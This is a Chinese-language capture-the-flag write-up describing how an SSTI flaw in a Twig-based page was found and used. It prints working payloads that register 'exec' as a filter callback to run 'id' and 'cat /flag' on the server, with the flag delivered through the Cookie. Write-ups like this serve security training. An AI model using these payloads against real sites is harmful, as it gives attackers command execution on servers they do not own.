对于这道题刚开始你会发下无论输入什么都会返回你所输入的数,
联系到SSTI注入的定义:服务器端在接收用户输入后,未经充分处理就直接将其作为模板内容的一部分进行处理. 就可以猜测它是SSTI注入。于是我们尝试一下看能否进行计算。
{{6*6}}
发现它计算成功。可以确定的是这道题应用的就是SSTI注入;于是进行构建payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
提交后回显:"你想要做什么",那肯定是cat /flag ,于是将那条语句进行修改:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
然后在发送发现回显依旧不变 what do you want to do ?
于是我用burpsurt 进行抓包给我返回了下面这张图片
什么都有没有,这下又卡住了,于是我将目光转向了题目,题目中也有Cookie的身影于是乎就有了
uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data) :的设置常见于Web服务器环境中,用于提高Web服务的安全性,确保Web服务只能访问和修改特定的文件和目录。
发现这个回显,根据提示可以用
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
得出flag 在这里我进行说明一下语句:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
#注册未定义过滤器的回调:{{_self.env.registerUndefinedFilterCallback("exec")}}
#获取过滤器:{{_self.env.getFilter("id")}}